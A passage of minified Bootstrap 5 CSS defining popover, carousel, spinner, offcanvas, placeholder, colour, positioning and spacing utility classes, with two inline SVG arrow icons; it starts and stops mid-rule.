var(--bs-popover-header-padding-x);margin-bottom:0;font-size:var(--bs-popover-header-font-size);color:var(--bs-popover-header-color);background-color:var(--bs-popover-header-bg);border-bottom:var(--bs-popover-border-width) solid var(--bs-popover-border-color);border-top-left-radius:var(--bs-popover-inner-border-radius);border-top-right-radius:var(--bs-popover-inner-border-radius)}.popover-header:empty{display:none}.popover-body{padding:var(--bs-popover-body-padding-y) var(--bs-popover-body-padding-x);color:var(--bs-popover-body-color)}.carousel{position:relative}.carousel.pointer-event{touch-action:pan-y}.carousel-inner{position:relative;width:100%;overflow:hidden}.carousel-inner::after{display:block;clear:both;content:""}.carousel-item{position:relative;display:none;float:left;width:100%;margin-right:-100%;-webkit-backface-visibility:hidden;backface-visibility:hidden;transition:transform .6s ease-in-out}@media (prefers-reduced-motion:reduce){.carousel-item{transition:none}}.carousel-item-next,.carousel-item-prev,.carousel-item.active{display:block}.active.carousel-item-end,.carousel-item-next:not(.carousel-item-start){transform:translateX(100%)}.active.carousel-item-start,.carousel-item-prev:not(.carousel-item-end){transform:translateX(-100%)}.carousel-fade .carousel-item{opacity:0;transition-property:opacity;transform:none}.carousel-fade .carousel-item-next.carousel-item-start,.carousel-fade .carousel-item-prev.carousel-item-end,.carousel-fade .carousel-item.active{z-index:1;opacity:1}.carousel-fade .active.carousel-item-end,.carousel-fade .active.carousel-item-start{z-index:0;opacity:0;transition:opacity 0s .6s}@media (prefers-reduced-motion:reduce){.carousel-fade .active.carousel-item-end,.carousel-fade .active.carousel-item-start{transition:none}}.carousel-control-next,.carousel-control-prev{position:absolute;top:0;bottom:0;z-index:1;display:flex;align-items:center;justify-content:center;width:15%;padding:0;color:#fff;text-align:center;background:0 0;border:0;opacity:.5;transition:opacity .15s ease}@media (prefers-reduced-motion:reduce){.carousel-control-next,.carousel-control-prev{transition:none}}.carousel-control-next:focus,.carousel-control-next:hover,.carousel-control-prev:focus,.carousel-control-prev:hover{color:#fff;text-decoration:none;outline:0;opacity:.9}.carousel-control-prev{left:0}.carousel-control-next{right:0}.carousel-control-next-icon,.carousel-control-prev-icon{display:inline-block;width:2rem;height:2rem;background-repeat:no-repeat;background-position:50%;background-size:100% 100%}.carousel-control-prev-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23fff'%3e%3cpath d='M11.354 1.646a.5.5 0 0 1 0 .708L5.707 8l5.647 5.646a.5.5 0 0 1-.708.708l-6-6a.5.5 0 0 1 0-.708l6-6a.5.5 0 0 1 .708 0z'/%3e%3c/svg%3e")}.carousel-control-next-icon{background-image:url("data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16' fill='%23fff'%3e%3cpath d='M4.646 1.646a.5.5 0 0 1 .708 0l6 6a.5.5 0 0 1 0 .708l-6 6a.5.5 0 0 1-.708-.708L10.293 8 4.646 2.354a.5.5 0 0 1 0-.708z'/%3e%3c/svg%3e")}.carousel-indicators{position:absolute;right:0;bottom:0;left:0;z-index:2;display:flex;justify-content:center;padding:0;margin-right:15%;margin-bottom:1rem;margin-left:15%;list-style:none}.carousel-indicators [data-bs-target]{box-sizing:content-box;flex:0 1 auto;width:30px;height:3px;padding:0;margin-right:3px;margin-left:3px;text-indent:-999px;cursor:pointer;background-color:#fff;background-clip:padding-box;border:0;border-top:10px solid transparent;border-bottom:10px solid transparent;opacity:.5;transition:opacity .6s ease}@media (prefers-reduced-motion:reduce){.carousel-indicators [data-bs-target]{transition:none}}.carousel-indicators .active{opacity:1}.carousel-caption{position:absolute;right:15%;bottom:1.25rem;left:15%;padding-top:1.25rem;padding-bottom:1.25rem;color:#fff;text-align:center}.carousel-dark .carousel-control-next-icon,.carousel-dark .carousel-control-prev-icon{filter:invert(1) grayscale(100)}.carousel-dark .carousel-indicators [data-bs-target]{background-color:#000}.carousel-dark .carousel-caption{color:#000}.spinner-border,.spinner-grow{display:inline-block;width:var(--bs-spinner-width);height:var(--bs-spinner-height);vertical-align:var(--bs-spinner-vertical-align);border-radius:50%;-webkit-animation:var(--bs-spinner-animation-speed) linear infinite var(--bs-spinner-animation-name);animation:var(--bs-spinner-animation-speed) linear infinite var(--bs-spinner-animation-name)}@-webkit-keyframes spinner-border{to{transform:rotate(360deg)}}@keyframes spinner-border{to{transform:rotate(360deg)}}.spinner-border{--bs-spinner-width:2rem;--bs-spinner-height:2rem;--bs-spinner-vertical-align:-0.125em;--bs-spinner-border-width:0.25em;--bs-spinner-animation-speed:0.75s;--bs-spinner-animation-name:spinner-border;border:var(--bs-spinner-border-width) solid currentcolor;border-right-color:transparent}.spinner-border-sm{--bs-spinner-width:1rem;--bs-spinner-height:1rem;--bs-spinner-border-width:0.2em}@-webkit-keyframes spinner-grow{0%{transform:scale(0)}50%{opacity:1;transform:none}}@keyframes spinner-grow{0%{transform:scale(0)}50%{opacity:1;transform:none}}.spinner-grow{--bs-spinner-width:2rem;--bs-spinner-height:2rem;--bs-spinner-vertical-align:-0.125em;--bs-spinner-animation-speed:0.75s;--bs-spinner-animation-name:spinner-grow;background-color:currentcolor;opacity:0}.spinner-grow-sm{--bs-spinner-width:1rem;--bs-spinner-height:1rem}@media (prefers-reduced-motion:reduce){.spinner-border,.spinner-grow{--bs-spinner-animation-speed:1.5s}}.offcanvas,.offcanvas-lg,.offcanvas-md,.offcanvas-sm,.offcanvas-xl,.offcanvas-xxl{--bs-offcanvas-width:400px;--bs-offcanvas-height:30vh;--bs-offcanvas-padding-x:1rem;--bs-offcanvas-padding-y:1rem;--bs-offcanvas-color: ;--bs-offcanvas-bg:#fff;--bs-offcanvas-border-width:1px;--bs-offcanvas-border-color:var(--bs-border-color-translucent);--bs-offcanvas-box-shadow:0 0.125rem 0.25rem rgba(0, 0, 0, 0.075)}@media (max-width:575.98px){.offcanvas-sm{position:fixed;bottom:0;z-index:1045;display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}}@media (max-width:575.98px) and (prefers-reduced-motion:reduce){.offcanvas-sm{transition:none}}@media (max-width:575.98px){.offcanvas-sm.show:not(.hiding),.offcanvas-sm.showing{transform:none}}@media (max-width:575.98px){.offcanvas-sm.hiding,.offcanvas-sm.show,.offcanvas-sm.showing{visibility:visible}}@media (max-width:575.98px){.offcanvas-sm.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}}@media (max-width:575.98px){.offcanvas-sm.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}}@media (max-width:575.98px){.offcanvas-sm.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}}@media (max-width:575.98px){.offcanvas-sm.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}}@media (min-width:576px){.offcanvas-sm{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-sm .offcanvas-header{display:none}.offcanvas-sm .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}@media (max-width:767.98px){.offcanvas-md{position:fixed;bottom:0;z-index:1045;display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}}@media (max-width:767.98px) and (prefers-reduced-motion:reduce){.offcanvas-md{transition:none}}@media (max-width:767.98px){.offcanvas-md.show:not(.hiding),.offcanvas-md.showing{transform:none}}@media (max-width:767.98px){.offcanvas-md.hiding,.offcanvas-md.show,.offcanvas-md.showing{visibility:visible}}@media (max-width:767.98px){.offcanvas-md.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}}@media (max-width:767.98px){.offcanvas-md.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}}@media (max-width:767.98px){.offcanvas-md.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}}@media (max-width:767.98px){.offcanvas-md.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}}@media (min-width:768px){.offcanvas-md{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-md .offcanvas-header{display:none}.offcanvas-md .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}@media (max-width:991.98px){.offcanvas-lg{position:fixed;bottom:0;z-index:1045;display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}}@media (max-width:991.98px) and (prefers-reduced-motion:reduce){.offcanvas-lg{transition:none}}@media (max-width:991.98px){.offcanvas-lg.show:not(.hiding),.offcanvas-lg.showing{transform:none}}@media (max-width:991.98px){.offcanvas-lg.hiding,.offcanvas-lg.show,.offcanvas-lg.showing{visibility:visible}}@media (max-width:991.98px){.offcanvas-lg.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}}@media (max-width:991.98px){.offcanvas-lg.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}}@media (max-width:991.98px){.offcanvas-lg.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}}@media (max-width:991.98px){.offcanvas-lg.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}}@media (min-width:992px){.offcanvas-lg{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-lg .offcanvas-header{display:none}.offcanvas-lg .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}@media (max-width:1199.98px){.offcanvas-xl{position:fixed;bottom:0;z-index:1045;display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}}@media (max-width:1199.98px) and (prefers-reduced-motion:reduce){.offcanvas-xl{transition:none}}@media (max-width:1199.98px){.offcanvas-xl.show:not(.hiding),.offcanvas-xl.showing{transform:none}}@media (max-width:1199.98px){.offcanvas-xl.hiding,.offcanvas-xl.show,.offcanvas-xl.showing{visibility:visible}}@media (max-width:1199.98px){.offcanvas-xl.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}}@media (max-width:1199.98px){.offcanvas-xl.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}}@media (max-width:1199.98px){.offcanvas-xl.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}}@media (max-width:1199.98px){.offcanvas-xl.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}}@media (min-width:1200px){.offcanvas-xl{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-xl .offcanvas-header{display:none}.offcanvas-xl .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}@media (max-width:1399.98px){.offcanvas-xxl{position:fixed;bottom:0;z-index:1045;display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}}@media (max-width:1399.98px) and (prefers-reduced-motion:reduce){.offcanvas-xxl{transition:none}}@media (max-width:1399.98px){.offcanvas-xxl.show:not(.hiding),.offcanvas-xxl.showing{transform:none}}@media (max-width:1399.98px){.offcanvas-xxl.hiding,.offcanvas-xxl.show,.offcanvas-xxl.showing{visibility:visible}}@media (max-width:1399.98px){.offcanvas-xxl.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}}@media (max-width:1399.98px){.offcanvas-xxl.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}}@media (max-width:1399.98px){.offcanvas-xxl.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}}@media (max-width:1399.98px){.offcanvas-xxl.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}}@media (min-width:1400px){.offcanvas-xxl{--bs-offcanvas-height:auto;--bs-offcanvas-border-width:0;background-color:transparent!important}.offcanvas-xxl .offcanvas-header{display:none}.offcanvas-xxl .offcanvas-body{display:flex;flex-grow:0;padding:0;overflow-y:visible;background-color:transparent!important}}.offcanvas{position:fixed;bottom:0;z-index:1045;display:flex;flex-direction:column;max-width:100%;color:var(--bs-offcanvas-color);visibility:hidden;background-color:var(--bs-offcanvas-bg);background-clip:padding-box;outline:0;transition:transform .3s ease-in-out}@media (prefers-reduced-motion:reduce){.offcanvas{transition:none}}.offcanvas.show:not(.hiding),.offcanvas.showing{transform:none}.offcanvas.hiding,.offcanvas.show,.offcanvas.showing{visibility:visible}.offcanvas.offcanvas-start{top:0;left:0;width:var(--bs-offcanvas-width);border-right:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(-100%)}.offcanvas.offcanvas-end{top:0;right:0;width:var(--bs-offcanvas-width);border-left:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateX(100%)}.offcanvas.offcanvas-top{top:0;right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-bottom:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(-100%)}.offcanvas.offcanvas-bottom{right:0;left:0;height:var(--bs-offcanvas-height);max-height:100%;border-top:var(--bs-offcanvas-border-width) solid var(--bs-offcanvas-border-color);transform:translateY(100%)}.offcanvas-backdrop{position:fixed;top:0;left:0;z-index:1040;width:100vw;height:100vh;background-color:#000}.offcanvas-backdrop.fade{opacity:0}.offcanvas-backdrop.show{opacity:.5}.offcanvas-header{display:flex;align-items:center;justify-content:space-between;padding:var(--bs-offcanvas-padding-y) var(--bs-offcanvas-padding-x)}.offcanvas-header .btn-close{padding:calc(var(--bs-offcanvas-padding-y) * .5) calc(var(--bs-offcanvas-padding-x) * .5);margin-top:calc(var(--bs-offcanvas-padding-y) * -.5);margin-right:calc(var(--bs-offcanvas-padding-x) * -.5);margin-bottom:calc(var(--bs-offcanvas-padding-y) * -.5)}.offcanvas-title{margin-bottom:0;line-height:1.5}.offcanvas-body{flex-grow:1;padding:var(--bs-offcanvas-padding-y) var(--bs-offcanvas-padding-x);overflow-y:auto}.placeholder{display:inline-block;min-height:1em;vertical-align:middle;cursor:wait;background-color:currentcolor;opacity:.5}.placeholder.btn::before{display:inline-block;content:""}.placeholder-xs{min-height:.6em}.placeholder-sm{min-height:.8em}.placeholder-lg{min-height:1.2em}.placeholder-glow .placeholder{-webkit-animation:placeholder-glow 2s ease-in-out infinite;animation:placeholder-glow 2s ease-in-out infinite}@-webkit-keyframes placeholder-glow{50%{opacity:.2}}@keyframes placeholder-glow{50%{opacity:.2}}.placeholder-wave{-webkit-mask-image:linear-gradient(130deg,#000 55%,rgba(0,0,0,0.8) 75%,#000 95%);mask-image:linear-gradient(130deg,#000 55%,rgba(0,0,0,0.8) 75%,#000 95%);-webkit-mask-size:200% 100%;mask-size:200% 100%;-webkit-animation:placeholder-wave 2s linear infinite;animation:placeholder-wave 2s linear infinite}@-webkit-keyframes placeholder-wave{100%{-webkit-mask-position:-200% 0%;mask-position:-200% 0%}}@keyframes placeholder-wave{100%{-webkit-mask-position:-200% 0%;mask-position:-200% 0%}}.clearfix::after{display:block;clear:both;content:""}.text-bg-primary{color:#fff!important;background-color:RGBA(13,110,253,var(--bs-bg-opacity,1))!important}.text-bg-secondary{color:#fff!important;background-color:RGBA(108,117,125,var(--bs-bg-opacity,1))!important}.text-bg-success{color:#fff!important;background-color:RGBA(25,135,84,var(--bs-bg-opacity,1))!important}.text-bg-info{color:#000!important;background-color:RGBA(13,202,240,var(--bs-bg-opacity,1))!important}.text-bg-warning{color:#000!important;background-color:RGBA(255,193,7,var(--bs-bg-opacity,1))!important}.text-bg-danger{color:#fff!important;background-color:RGBA(220,53,69,var(--bs-bg-opacity,1))!important}.text-bg-light{color:#000!important;background-color:RGBA(248,249,250,var(--bs-bg-opacity,1))!important}.text-bg-dark{color:#fff!important;background-color:RGBA(33,37,41,var(--bs-bg-opacity,1))!important}.link-primary{color:#0d6efd!important}.link-primary:focus,.link-primary:hover{color:#0a58ca!important}.link-secondary{color:#6c757d!important}.link-secondary:focus,.link-secondary:hover{color:#565e64!important}.link-success{color:#198754!important}.link-success:focus,.link-success:hover{color:#146c43!important}.link-info{color:#0dcaf0!important}.link-info:focus,.link-info:hover{color:#3dd5f3!important}.link-warning{color:#ffc107!important}.link-warning:focus,.link-warning:hover{color:#ffcd39!important}.link-danger{color:#dc3545!important}.link-danger:focus,.link-danger:hover{color:#b02a37!important}.link-light{color:#f8f9fa!important}.link-light:focus,.link-light:hover{color:#f9fafb!important}.link-dark{color:#212529!important}.link-dark:focus,.link-dark:hover{color:#1a1e21!important}.ratio{position:relative;width:100%}.ratio::before{display:block;padding-top:var(--bs-aspect-ratio);content:""}.ratio>*{position:absolute;top:0;left:0;width:100%;height:100%}.ratio-1x1{--bs-aspect-ratio:100%}.ratio-4x3{--bs-aspect-ratio:75%}.ratio-16x9{--bs-aspect-ratio:56.25%}.ratio-21x9{--bs-aspect-ratio:42.8571428571%}.fixed-top{position:fixed;top:0;right:0;left:0;z-index:1030}.fixed-bottom{position:fixed;right:0;bottom:0;left:0;z-index:1030}.sticky-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}@media (min-width:576px){.sticky-sm-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-sm-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}@media (min-width:768px){.sticky-md-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-md-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}@media (min-width:992px){.sticky-lg-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-lg-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}@media (min-width:1200px){.sticky-xl-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-xl-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}@media (min-width:1400px){.sticky-xxl-top{position:-webkit-sticky;position:sticky;top:0;z-index:1020}.sticky-xxl-bottom{position:-webkit-sticky;position:sticky;bottom:0;z-index:1020}}.hstack{display:flex;flex-direction:row;align-items:center;align-self:stretch}.vstack{display:flex;flex:1 1 auto;flex-direction:column;align-self:stretch}.visually-hidden,.visually-hidden-focusable:not(:focus):not(:focus-within){position:absolute!important;width:1px!important;height:1px!important;padding:0!important;margin:-1px!important;overflow:hidden!important;clip:rect(0,0,0,0)!important;white-space:nowrap!important;border:0!important}.stretched-link::after{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1;content:""}.text-truncate{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.vr{display:inline-block;align-self:stretch;width:1px;min-height:1em;background-color:currentcolor;opacity:.25}.align-baseline{vertical-align:baseline!important}.align-top{vertical-align:top!important}.align-middle{vertical-align:middle!important}.align-bottom{vertical-align:bottom!important}.align-text-bottom{vertical-align:text-bottom!important}.align-text-top{vertical-align:text-top!important}.float-start{float:left!important}.float-end{float:right!important}.float-none{float:none!important}.opacity-0{opacity:0!important}.opacity-25{opacity:.25!important}.opacity-50{opacity:.5!important}.opacity-75{opacity:.75!important}.opacity-100{opacity:1!important}.overflow-auto{overflow:auto!important}.overflow-hidden{overflow:hidden!important}.overflow-visible{overflow:visible!important}.overflow-scroll{overflow:scroll!important}.d-inline{display:inline!important}.d-inline-block{display:inline-block!important}.d-block{display:block!important}.d-grid{display:grid!important}.d-table{display:table!important}.d-table-row{display:table-row!important}.d-table-cell{display:table-cell!important}.d-flex{display:flex!important}.d-inline-flex{display:inline-flex!important}.d-none{display:none!important}.shadow{box-shadow:0 .5rem 1rem rgba(0,0,0,.15)!important}.shadow-sm{box-shadow:0 .125rem .25rem rgba(0,0,0,.075)!important}.shadow-lg{box-shadow:0 1rem 3rem rgba(0,0,0,.175)!important}.shadow-none{box-shadow:none!important}.position-static{position:static!important}.position-relative{position:relative!important}.position-absolute{position:absolute!important}.position-fixed{position:fixed!important}.position-sticky{position:-webkit-sticky!important;position:sticky!important}.top-0{top:0!important}.top-50{top:50%!important}.top-100{top:100%!important}.bottom-0{bottom:0!important}.bottom-50{bottom:50%!important}.bottom-100{bottom:100%!important}.start-0{left:0!important}.start-50{left:50%!important}.start-100{left:100%!important}.end-0{right:0!important}.end-50{right:50%!important}.end-100{right:100%!important}.translate-middle{transform:translate(-50%,-50%)!important}.translate-middle-x{transform:translateX(-50%)!important}.translate-middle-y{transform:translateY(-50%)!important}.border{border:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-0{border:0!important}.border-top{border-top:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-top-0{border-top:0!important}.border-end{border-right:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-end-0{border-right:0!important}.border-bottom{border-bottom:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-bottom-0{border-bottom:0!important}.border-start{border-left:var(--bs-border-width) var(--bs-border-style) var(--bs-border-color)!important}.border-start-0{border-left:0!important}.border-primary{--bs-border-opacity:1;border-color:rgba(var(--bs-primary-rgb),var(--bs-border-opacity))!important}.border-secondary{--bs-border-opacity:1;border-color:rgba(var(--bs-secondary-rgb),var(--bs-border-opacity))!important}.border-success{--bs-border-opacity:1;border-color:rgba(var(--bs-success-rgb),var(--bs-border-opacity))!important}.border-info{--bs-border-opacity:1;border-color:rgba(var(--bs-info-rgb),var(--bs-border-opacity))!important}.border-warning{--bs-border-opacity:1;border-color:rgba(var(--bs-warning-rgb),var(--bs-border-opacity))!important}.border-danger{--bs-border-opacity:1;border-color:rgba(var(--bs-danger-rgb),var(--bs-border-opacity))!important}.border-light{--bs-border-opacity:1;border-color:rgba(var(--bs-light-rgb),var(--bs-border-opacity))!important}.border-dark{--bs-border-opacity:1;border-color:rgba(var(--bs-dark-rgb),var(--bs-border-opacity))!important}.border-white{--bs-border-opacity:1;border-color:rgba(var(--bs-white-rgb),var(--bs-border-opacity))!important}.border-1{--bs-border-width:1px}.border-2{--bs-border-width:2px}.border-3{--bs-border-width:3px}.border-4{--bs-border-width:4px}.border-5{--bs-border-width:5px}.border-opacity-10{--bs-border-opacity:0.1}.border-opacity-25{--bs-border-opacity:0.25}.border-opacity-50{--bs-border-opacity:0.5}.border-opacity-75{--bs-border-opacity:0.75}.border-opacity-100{--bs-border-opacity:1}.w-25{width:25%!important}.w-50{width:50%!important}.w-75{width:75%!important}.w-100{width:100%!important}.w-auto{width:auto!important}.mw-100{max-width:100%!important}.vw-100{width:100vw!important}.min-vw-100{min-width:100vw!important}.h-25{height:25%!important}.h-50{height:50%!important}.h-75{height:75%!important}.h-100{height:100%!important}.h-auto{height:auto!important}.mh-100{max-height:100%!important}.vh-100{height:100vh!important}.min-vh-100{min-height:100vh!important}.flex-fill{flex:1 1 auto!important}.flex-row{flex-direction:row!important}.flex-column{flex-direction:column!important}.flex-row-reverse{flex-direction:row-reverse!important}.flex-column-reverse{flex-direction:column-reverse!important}.flex-grow-0{flex-grow:0!important}.flex-grow-1{flex-grow:1!important}.flex-shrink-0{flex-shrink:0!important}.flex-shrink-1{flex-shrink:1!important}.flex-wrap{flex-wrap:wrap!important}.flex-nowrap{flex-wrap:nowrap!important}.flex-wrap-reverse{flex-wrap:wrap-reverse!important}.justify-content-start{justify-content:flex-start!important}.justify-content-end{justify-content:flex-end!important}.justify-content-center{justify-content:center!important}.justify-content-between{justify-content:space-between!important}.justify-content-around{justify-content:space-around!important}.justify-content-evenly{justify-content:space-evenly!important}.align-items-start{align-items:flex-start!important}.align-items-end{align-items:flex-end!important}.align-items-center{align-items:center!important}.align-items-baseline{align-items:baseline!important}.align-items-stretch{align-items:stretch!important}.align-content-start{align-content:flex-start!important}.align-content-end{align-content:flex-end!important}.align-content-center{align-content:center!important}.align-content-between{align-content:space-between!important}.align-content-around{align-content:space-around!important}.align-content-stretch{align-content:stretch!important}.align-self-auto{align-self:auto!important}.align-self-start{align-self:flex-start!important}.align-self-end{align-self:flex-end!important}.align-self-center{align-self:center!important}.align-self-baseline{align-self:baseline!important}.align-self-stretch{align-self:stretch!important}.order-first{order:-1!important}.order-0{order:0!important}.order-1{order:1!important}.order-2{order:2!important}.order-3{order:3!important}.order-4{order:4!important}.order-5{order:5!important}.order-last{order:6!important}.m-0{margin:0!important}.m-1{margin:.25rem!important}.m-2{margin:.5rem!important}.m-3{margin:1rem!important}.m-4{margin:1.5rem!important}.m-5{margin:3rem!important}.m-auto{margin:auto!important}.mx-0{margin-right:0!important;margin-left:0!important}.mx-1{margin-right:.25rem!important;margin-left:.25rem!important}.mx-2{margin-right:.5rem!important;margin-left:.5rem!important}.mx-3{margin-right:1rem!important;margin-left:1rem!important}.mx-4{margin-right:1.5rem!important;margin-left:1.5rem!important}.mx-5{margin-right:3rem!important;margin-left:3rem!important}.mx-auto{margin-right:auto!important;margin-left:auto!important}.my-0{margin-top:0!important;margin-bottom:0!important}.my-1{margin-top:.25rem!important;margin-bottom:.25rem!important}.my-2{margin-top:.5rem!important;margin-bottom:.5rem!important}.my-3{margin-top:1rem!important;margin-bottom:1rem!important}.my-4{margin-top:1.5rem!important;margin-bottom:1.5rem!important}.my-5{margin-top:3rem!important;margin-bottom:3rem!important}.my-auto{margin-top:auto!important;margin-bottom:auto!important}.mt-0{margin-top:0!important}.mt-1{margin-top:.25rem!important}.mt-2{margin-top:.5rem!important}.mt-3{margin-top:1rem!important}.mt-4{margin-top:1.5rem!important}.mt-5{margin-top:3rem!important}.mt-auto{margin-top:auto!important}.me-0{margin-right:0!important}.me-1{margin-right:.25rem!important}.me-2{margin-right:.5rem!important}.me-3{margin-right:1rem!important}.me-4{margin-right:1.5rem!important}.me-5{margin-right:3rem!important}.me-auto{margin-right:auto!important}.mb-0{margin-bottom:0!important}.mb-1{margin-bottom:.25rem!important}.mb-2{margin-bottom:.5rem!important}.mb-3{margin-bottom:1rem!important}.mb-4{margin-bottom:1.5rem!important}.mb-5{margin-bottom:3rem!important}.mb-auto{margin-bottom:auto!important}.ms-0{margin-left:0!important}.ms-1{margin-left:.25rem!important}.ms-2{margin-left:.5rem!important}.ms-3{margin-left:1rem!important}.ms-4{margin-left:1.5rem!important}.ms-5{margin-left:3rem!important}.ms-auto{margin-left:auto!important}.p-0{padding:0!important}.p-1{padding:.25rem!important}.p-2{padding:.5rem!important}.p-3{padding:1rem!important}.p-4{padding:1.5rem!important}.p-5{padding:3rem!important}.px-0{padding-right:0!important;padding-left:0!important}.px-1{padding-right:.25rem!important;padding-left:.25rem!important}.px-2{padding-right:.5rem!important;padding-left:.5rem!important}.px-3{padding-right:1rem!important;padding-left:1rem!important}.px-4{padding-right:1.5rem!important;padding-left:1.5rem!important}.px-5{padding-right:3rem!important;padding-left:3rem!important}.py-0{padding-top:0!important;padding-bottom:0!important}.py-1{padding-top:.25rem!important;padding-bottom:.25rem!important}.py-2{padding-top:.5rem!important;padding-bottom:.5rem!important}.py-3{padding-top:1rem!important;padding-bottom:1rem!important}.py-4{padding-top:1.5rem!important;padding-bottom:1.5rem!important}.py-5{padding-top:3rem!important;padding-bottom:3rem!important}.pt-0{padding-top:0!important}.pt-1{padding-top:.25rem!important}.pt-2{padding-top:.5rem!important}.pt-3{padding-top:1rem!important}.pt-4{padding-top:1.5rem!important}.pt-5{padding-top:3rem!important}.pe-0{padding